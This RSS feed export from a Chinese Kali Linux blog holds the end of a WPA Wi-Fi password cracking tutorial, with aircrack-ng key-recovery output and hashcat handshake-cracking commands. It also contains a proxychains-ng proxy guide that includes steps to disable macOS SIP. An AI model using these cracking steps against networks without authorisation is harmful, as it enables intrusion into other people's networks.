                             Aircrack-ng 1.5.2 

      [00:00:00] 1880/2491 keys tested (9928.65 k/s) 

      Time left: 0 seconds                                      75.47%

                           KEY FOUND! [ 321654987 ]


      Master Key     : 04 38 4C 62 72 A4 80 80 B9 A5 D4 A4 8A 05 F3 6A 
                       EB D7 0A 67 A7 3C 8E 0B 35 42 7B 00 74 A7 5C C5 

      Transient Key  : 33 0D E3 27 EA 7D BF 99 D7 E7 83 24 70 89 73 BB 
                       93 97 F1 CD FD 2C DD 87 37 54 A7 D8 02 FF 41 15 
                       55 E8 09 90 C5 1F F2 75 D5 29 A5 6E 8C 24 1E 4D 
                       D8 0E A5 50 56 CC F2 69 9A C1 F4 B3 82 37 E6 A2 

      EAPOL HMAC     : 15 AA 87 57 16 52 3A A7 A1 69 13 11 7A BC 46 E4 </pre>
						</li>
					</ul>
				</div>
				<h3>
					<span style="font-size:18px;">8. 无线网卡退出监听模式</span> 
				</h3>
				<p>
					<br />
				</p>
				<ul>
					<li>
<pre class="prettyprint lang-js linenums">airmon-ng stop &lt;处于监听模式的无限网卡名称&gt;</pre>
					</li>
				</ul>
				<p>
					<br />
				</p>
<pre class="prettyprint lang-js linenums">root@kali:~# airmon-ng stop wlan1mon

PHY	Interface	Driver		Chipset

phy0	wlan0		brcmfmac	Broadcom Inc. and subsidiaries BCM43602 802.11ac Wireless LAN SoC (rev 02)
phy2	wlan1mon	rt2800usb	Ralink Technology, Corp. RT2870/RT3070

		(mac80211 station mode vif enabled on [phy2]wlan1)

		(mac80211 monitor mode vif disabled for [phy2]wlan1mon)

</pre>
				<p>
					<span style="font-size:18px;"><strong>9.（可选）使用显卡的运算能力</strong></span> 
				</p>
				<p>
					<br />
				</p>
				<ul>
					<li>
						如果你有一个强大的GPU，为什么不使用GPU跑字典呢？
					</li>
					<li>
						<p>
							<a href="http://hashcat.net">Hashcat</a>可以借助GPU的运算力破解各种不同算法的hash值。
						</p>
						<p>
							下载时要注意选择正确的显卡类型（AMD、NVidia）。Kali Linux自带这个工具。
						</p>
						<p>
							在破解cap文件之前，要把它转换为hccapx文件：
						</p>
					</li>
					<li>
						<span style="color:#404040;font-family:-apple-system, system-ui, &quot;white-space:normal;background-color:#FFFFFF;font-size:20px;">&nbsp;</span>安装<a href="https://github.com/hashcat/hashcat-utils" target="_blank">Hashcat-utils</a>
						<p>
							<p>
								git clone https://github.com/hashcat/hashcat-utils.git
							</p>
							<p>
								cd hashcat-utils/src
							</p>
							<p>
								make &amp;&amp; mv *.bin ../bin
							</p>
							<p>
								cd ../bin
							</p>
							<p>
								sudo install cap2hccapx.bin /usr/local/bin/cap2hccapx
							</p>
						</p>
						<p>
							使用GPU破解hash：
						</p>
					</li>
					<li>
						<p>
							<p>
								cd到.cap存放目录 &nbsp; &nbsp;cap2hccapx xx.cap xx.hccapx
							</p>
							<p>
								hashcat -m 2500 xx.hccapx 字典文件
							</p>
							<p>
								hashcat -m 2500 -a 3 xx.hccapx ?d?d?d?d?d?d?d?d
							</p>
						</p>
					</li>
					<li>
						<p>
							<br />
						</p>
					</li>
				</ul>
				<p>
					<br />
				</p>
				<p>
					<br />
				</p>
				<p>
					<br />
				</p>
				<p>
					<br />
				</p>
				<div>
					<p>
						<span style="font-size:18px;">10.总结：防止这种攻击最简单的方法是设置贼复杂贼长的密码；</span> 
					</p>
					<p>
						<span style="font-size:18px;">参考</span> 
					</p>
					<p>
						<span style="font-size:18px;"><a href="https://github.com/conwnet/wpa-dictionary" target="_blank">https://github.com/conwnet/wpa-dictionary</a><br />
</span> 
					</p>
					<p>
						<span style="font-size:18px;"><a href="http://topspeedsnail.com/kali-linux-crack-wifi-wpa/" target="_blank">http://topspeedsnail.com/kali-linux-crack-wifi-wpa/</a><br />
</span> 
					</p>
				</div>
				<p>
					<a href="https://github.com/brannondorsey/wifi-cracking/blob/master/README.zh.md#crack-the-network-password" target="_blank">https://github.com/brannondorsey/wifi-cracking/blob/master/README.zh.md#crack-the-network-password</a> 
				</p>
				<p>
					<br />
				</p>
				<p>
					<br />
				</p>
				<p>
					<br />
				</p>
				<p>
					<br />
				</p>
			</p>
		</div>
	</div>
</div>]]></description>
	<pubDate>Tue, 13 Aug 2019 06:10:49 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=75</guid>

</item>
<item>
	<title>kali 修改命令</title>
	<link>https://www.zuoer.xin/?post=74</link>
	<description><![CDATA[<pre class="prettyprint lang-js linenums">1.1vim ~/.bashrc

2.找到 # some more ls aliases 行
添加lias pc='proxychains'


</pre>
<br />]]></description>
	<pubDate>Mon, 12 Aug 2019 15:45:44 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=74</guid>

</item>
<item>
	<title>kali使用anonsurf配合tor匿名上网（9050 之前的了 现在不用了）</title>
	<link>https://www.zuoer.xin/?post=73</link>
	<description><![CDATA[https://ssooking.github.io/kali-shi-yong-anonsurf-pei-he-tor-ni-ming-shang-wang/]]></description>
	<pubDate>Mon, 12 Aug 2019 09:11:01 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=73</guid>

</item>
<item>
	<title>通过 ProxyChains-NG 实现终端下任意应用代理</title>
	<link>https://www.zuoer.xin/?post=72</link>
	<description><![CDATA[<p class="MsoNormal" align="left" style="text-align:left;">
	<br />
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	对于技术人员shadowsocks应该不陌生，shadowsocks实质上也是一种socks5代理服务，类似于ssh代理。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	与vpn的全局代理不同，shadowsocks仅针对浏览器代理，不能代理应用软件，比如curl、wget等一些命令行软件。如果要让终端下的命令行工具都能支持代理，这时我们就要用上proxychains-ng这款神器了。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>什么是</b><b> proxychains-ng</b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	项目主页：<a href="https://github.com/rofl0r/proxychains-ng">https://github.com/rofl0r/proxychains-ng</a> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>proxychains-ng </b><b>介绍</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<i>proxychains ng (new
generation) - a preloader which hooks calls to sockets in dynamically linked
programs and redirects it through one or more socks/http proxies. continuation
of the unmaintained proxychains project.</i> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	proxychains-ng是proxychains的加强版，主要有以下功能和不足：
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 支持http/https/socks4/socks5
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 支持认证
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 远端dns查询
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 多种代理模式
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 不支持udp/icmp转发
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 少部分程序和在后台运行的可能无法代理
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>proxychains-ng </b><b>原理</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	简单的说就是这个程序 Hook 了 sockets 相关的操作，让普通程序的 sockets 数据走 SOCKS/HTTP 代理。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	其核心就是利用了 LD_PRELOAD 这个环境变量（Mac 上是 DYLD_INSERT_LIBRARIES）。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	在 Unix 系统中，如果设置了 LD_PRELOAD 环境变量，那么在程序运行时，动态链接器会先加载该环境变量所指定的动态库。也就是说，这个动态库的加载优先于任何其它的库，包括 libc。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	ProxyChains
创建了一个叫&nbsp;<a href="http://libproxychains4.so/">libproxychains4.so</a>（Mac 上是 libproxychains4.dylib）的动态库。里面重写了 connect、close 以及 sendto 等与 socket 相关的函数，通过这些函数发出的数据将会走代理，详细代码可以参考 libproxychains.c。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	在主程序里，它会读取配置文件，查找 libproxychains4 所在位置，把这些信息存入环境变量后执行子程序。这样子程序里对 socket 相关的函数调用就会被 Hook 了，对子程序来说，跟代理相关的东西都是透明的。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	可以用 printenv 程序来查看增加的环境变量，在 Mac 上输出结果类似于：
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="29" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="714" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ proxychains4 printenv</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">[proxychains] config file found: /usr/</span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">local</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">/Cellar/proxychains-ng/4.11/etc/proxychains.conf</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">[proxychains] preloading /usr/</span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">local</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">/Cellar/proxychains-ng/4.11/lib/libproxychains4.dylib</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">[proxychains] DLL init: proxychains-ng 4.11</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">...</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">PROXYCHAINS_CONF_FILE=/usr/</span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">local</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">/Cellar/proxychains-ng/4.11/etc/proxychains.conf</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">DYLD_FORCE_FLAT_NAMESPACE=1</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">DYLD_INSERT_LIBRARIES=/usr/</span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">local</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">/Cellar/proxychains-ng/4.11/lib/libproxychains4.dylib</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	一共设置了三个环境变量，其中 PROXYCHAINS_CONF_FILE 保存的是配置文件路径，DYLD_INSERT_LIBRARIES 保存的是动态库路径，在 Mac 中，必须使DYLD_FORCE_FLAT_NAMESPACE 为 1 才能保证 DYLD_INSERT_LIBRARIES 起作用。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>安装</b><b> proxychains-ng</b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>通过源代码安装</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 下载源码
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="29" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="409" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ git </span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">clone</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> https://github.com/rofl0r/proxychains-ng</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 编译安装
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" width="451" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="31" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="420" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ ./configure --prefix=/usr --sysconfdir=/etc</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ make</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ make install</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ make install-config (</span><span style="font-size:13.0pt;color:#C1C1C1;">安装</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">proxychains.conf</span><span style="font-size:13.0pt;color:#C1C1C1;">配置文件</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">)</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>MAC</b><b>下安装</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>关闭</b><b> SIP</b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	macOS
10.11 后下由于开启了 SIP（System Integrity
Protection） 会导致命令行下 proxychains-ng 代理的模式失效，如果你要使用 proxychains-ng 这种简单的方法，就需要先关闭 SIP。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	具体的关闭方法如下：
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 部分关闭 SIP
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<i>重启</i><i>Mac</i><i>，按住</i><i>Option</i><i>键进入启动盘选择模式，再按</i><i>⌘</i><i> + R</i><i>进入</i><i>Recovery</i><i>模式。</i><i> </i><i>实用工具（</i><i>Utilities</i><i>）</i><i>-&gt; </i><i>终端（</i><i>Terminal</i><i>）。</i><i> </i><i>输入命令</i><i>csrutil enable --without debug</i><i>运行。</i><i> </i><i>重启进入系统后，终端里输入</i><i> csrutil status</i><i>，结果中如果有</i><i> Debugging Restrictions: disabled </i><i>则说明关闭成功。</i><i></i> 
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 完全关闭 SIP
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<i>重启</i><i>Mac</i><i>，按住</i><i>Option</i><i>键进入启动盘选择模式，再按</i><i>⌘</i><i> + R</i><i>进入</i><i>Recovery</i><i>模式。</i><i> </i><i>实用工具（</i><i>Utilities</i><i>）</i><i>-&gt; </i><i>终端（</i><i>Terminal</i><i>）。</i><i> </i><i>输入命令</i><i>csrutil disable</i><i>运行。</i><i> </i><i>重启进入系统后，终端里输入</i><i> csrutil status</i><i>，结果中如果有</i><i> System Integrity Protection
status:disabled. </i><i>则说明关闭成功。</i><i></i> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>安装</b><b> Proxychains-ng</b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	安装好 Homebrew 后，终端中输入
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="38" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="304" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ brew install proxychains-ng</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>配置</b><b> proxychains-ng</b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	proxychains-ng默认配置文件名为proxychains.conf。
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 通过源代码编译安装的默认为/etc/proxychains.conf。
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; Mac下用Homebrew安装的默认为/usr/local/etc/proxychains.conf。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	proxychains-ng的配置非常简单，只需将代理加入[ProxyList]中即可。
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" width="451" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="39" valign="top" style="border:none;">
				<p class="MsoNormal">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="412" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ vim proxychains.conf</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">quiet_mode</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">dynamic_chain</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">chain_len = 1 #round_robin_chain</span><span style="font-size:13.0pt;color:#C1C1C1;">和</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">random_chain</span><span style="font-size:13.0pt;color:#C1C1C1;">使用</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">proxy_dns</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">remote_dns_subnet 224</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">tcp_read_time_out 15000</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">tcp_connect_time_out 8000</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">localnet 127.0.0.0/255.0.0.0</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">localnet 10.0.0.0/255.0.0.0</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">localnet 172.16.0.0/255.240.0.0</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">localnet 192.168.0.0/255.255.0.0</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">[ProxyList]</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">socks5<span>&nbsp; </span>127.0.0.1
  1086</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">http<span>&nbsp;&nbsp;&nbsp; </span>127.0.0.1
  1087</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	proxychains-ng支持多种代理模式,默认是选择 strict_chain。
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; dynamic_chain ：动态模式,按照代理列表顺序自动选取可用代理
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; strict_chain ：严格模式,严格按照代理列表顺序使用代理，所有代理必须可用
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; round_robin_chain ：轮询模式，自动跳过不可用代理
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; random_chain ：随机模式,随机使用代理
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>proxychains-ng </b><b>使用</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>proxychains-ng </b><b>语法</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	proxychains-ng用法非常简单，使用格式如下:
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="41" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="257" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ proxychains4 </span><span style="font-size:13.0pt;color:#C1C1C1;">程序</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> </span><span style="font-size:13.0pt;color:#C1C1C1;">参数</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>proxychains-ng </b><b>测试</b><b></b> 
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="39" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="268" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ proxychains4 curl ip.cn</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>proxychains-ng </b><b>优化</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>alias</b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	给proxychains4增加一个别名，在&nbsp;/.zshrc或/.bashrc末尾加入如下行：
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="29" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="339" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#878787;">#<span>&nbsp;&nbsp; </span>---------------------------------------</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#878787;">#<span>&nbsp;&nbsp; </span>proxychain-ng
  config</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#878787;">#<span>&nbsp;&nbsp; </span>---------------------------------------</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">alias</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> pc=</span><span style="font-size:13.0pt;font-family:Menlo;color:#89C387;">'proxychains4'</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"></span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	以后就可以类似$
pc curl http://www.google.com这样调用proxychains4，简化了输入。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>自动补全</b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	你输了很长一段命令，然后你突然想使用代理功能，怎么办？
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; iTerm中前缀补全
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	在&nbsp;iTerm
-&gt; Preferences -&gt; Profiles -&gt; Keys&nbsp;中，新建一个快捷键，例如 ⌥ + p ，Action 选择 Send Hex Code，键值为 0x1 0x70 0x63 0x20 0xd，保存生效。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	以后命令要代理就直接敲命令，然后 ⌥ + p 即可，这样命令补全也能保留了。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	附上 Hex Code 对应表，获取工具为keycodes(<a href="http://manytricks.com/keycodes/">http://manytricks.com/keycodes/</a>)
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="393" valign="bottom" style="border:solid #D5D5D5 2.25pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<b><span style="font-family:&quot;color:black;">Hex Code</span></b> 
				</p>
			</td>
			<td width="312" valign="bottom" style="border:solid #D5D5D5 2.25pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<b><span style="font-family:&quot;color:black;">Key</span></b> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="393" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:&quot;color:black;">0x1</span> 
				</p>
			</td>
			<td width="312" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:Cambria;color:black;">⌃</span><span style="font-family:&quot;color:black;"> + a</span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="393" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:&quot;color:black;">0x70</span> 
				</p>
			</td>
			<td width="312" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:&quot;color:black;">p</span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="393" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:&quot;color:black;">0x63</span> 
				</p>
			</td>
			<td width="312" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:&quot;color:black;">c</span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="393" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
